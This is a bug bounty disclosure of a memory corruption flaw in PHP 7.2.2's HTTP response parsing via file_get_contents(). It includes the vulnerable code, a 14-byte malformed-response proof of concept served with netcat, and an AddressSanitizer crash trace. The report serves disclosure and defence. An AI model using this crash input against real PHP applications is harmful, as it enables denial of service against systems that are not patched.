Internet Bug Bounty: memory corruption while parsing HTTP response

In the network interfacing PHP API file_get_contents(), a mechanism is implemented to parse the HTTP/S response from the remote host. A vulnerability is found when the vulnerable PHP build processes certain malformed HTTP/S response packets, resulting an array negative indexing.

Vulnerable code at:

php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723

			if (tmp_line[tmp_line_len - 1] == '\n') {
				--tmp_line_len;
				if (tmp_line[tmp_line_len - 1] == '\r') {
					--tmp_line_len;
				}

If the proceeding buffer contains ‘\r’ as either controlled content or junk on stack, under a realistic setting (non-ASAN), tmp_line_len could go to -1, resulting in an extra large string being copied subsequently. Under ASAN a segfault can be observed.

$ bin/php --version
PHP 7.2.2 (cli) (built: Feb 20 2018 08:51:24) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

Test script:

---------------
$ xxd -g 1 poc
0000000: 30 30 30 30 30 30 30 30 30 31 30 30 0a 0a        000000000100..

$ nc -vvlp 8080 < poc
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 53083)
GET / HTTP/1.0
Host: localhost:8080
Connection: close

$ bin/php -r 'file_get_contents("http://localhost:8080");'

Expected result:

NO CRASH

Actual result:

--------------
$ bin/php -r 'file_get_contents("http://localhost:8080");'
=================================================================
==26249== ERROR: AddressSanitizer: stack-buffer-overflow on address 0xbfc038ef at pc 0x8aa393b bp 0xbfc02eb8 sp 0xbfc02eac
READ of size 1 at 0xbfc038ef thread T0
    #0 0x8aa393a in php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723
    #1 0x8aa61fb in php_stream_url_wrap_http /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:979
    #2 0x8b8b115 in _php_stream_open_wrapper_ex /home/weilei/php-7.2.2/main/streams/streams.c:2027
    #3 0x8918dc0 in zif_file_get_contents /home/weilei/php-7.2.2/ext/standard/file.c:550
    #4 0x867993a in phar_file_get_contents /home/weilei/php-7.2.2/ext/phar/func_interceptors.c:224
    #5 0x91ee267 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:573
    #6 0x91ee267 in execute_ex /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:59731
    #7 0x923c13c in zend_execute /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:63760
    #8 0x8cba975 in zend_eval_stringl /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1082
    #9 0x8cbaf66 in zend_eval_stringl_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1123
    #10 0x8cbb06b in zend_eval_string_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1134
    #11 0x9244455 in do_cli /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1042
    #12 0x9246b37 in main /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1404
    #13 0xb5e8ca82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
    #14 0x80656d0 in _start (/home/weilei/php7_asan/bin/php+0x80656d0)
Address 0xbfc038ef is located at offset 607 in frame <php_stream_url_wrap_http_ex> of T0's stack:
  This frame has 13 object(s):
    [32, 36) 'transport_string'
    [96, 100) 'errstr'
    [160, 164) 'http_header_line_length'
    [224, 232) 'timeout'
    [288, 296) 'req_buf'
    [352, 360) 'tmpstr'
    [416, 432) 'ssl_proxy_peer_name'
    [480, 496) 'http_header'
    [544, 576) 'buf'
    [608, 736) 'tmp_line'
    [768, 1792) 'location'
    [1824, 2848) 'new_path'
    [2880, 3904) 'loc_path'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 php_stream_url_wrap_http_ex
Shadow bytes around the buggy address:
  0x37f806c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f806d0: 00 00 f1 f1 f1 f1 04 f4 f4 f4 f2 f2 f2 f2 04 f4
  0x37f806e0: f4 f4 f2 f2 f2 f2 04 f4 f4 f4 f2 f2 f2 f2 00 f4
  0x37f806f0: f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4
  0x37f80700: f4 f4 f2 f2 f2 f2 00 00 f4 f4 f2 f2 f2 f2 00 00
=>0x37f80710: f4 f4 f2 f2 f2 f2 00 00 00 00 f2 f2 f2[f2]00 00
  0x37f80720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2
  0x37f80730: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f80740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f80750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f80760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:     fa
  Heap righ redzone:     fb
  Freed Heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
==26249== ABORTING
Aborted

Details can be found at https://bugs.php.net/bug.php?id=75981
The bug is fixed in the security repo and is pending CVE assignment.

Impact

A DoS can be triggered when certain conditions are met, or other implications from the subsequent string operations. The affected mechanism is popular as file_get_contents() is a very popular API among PHP based web applications.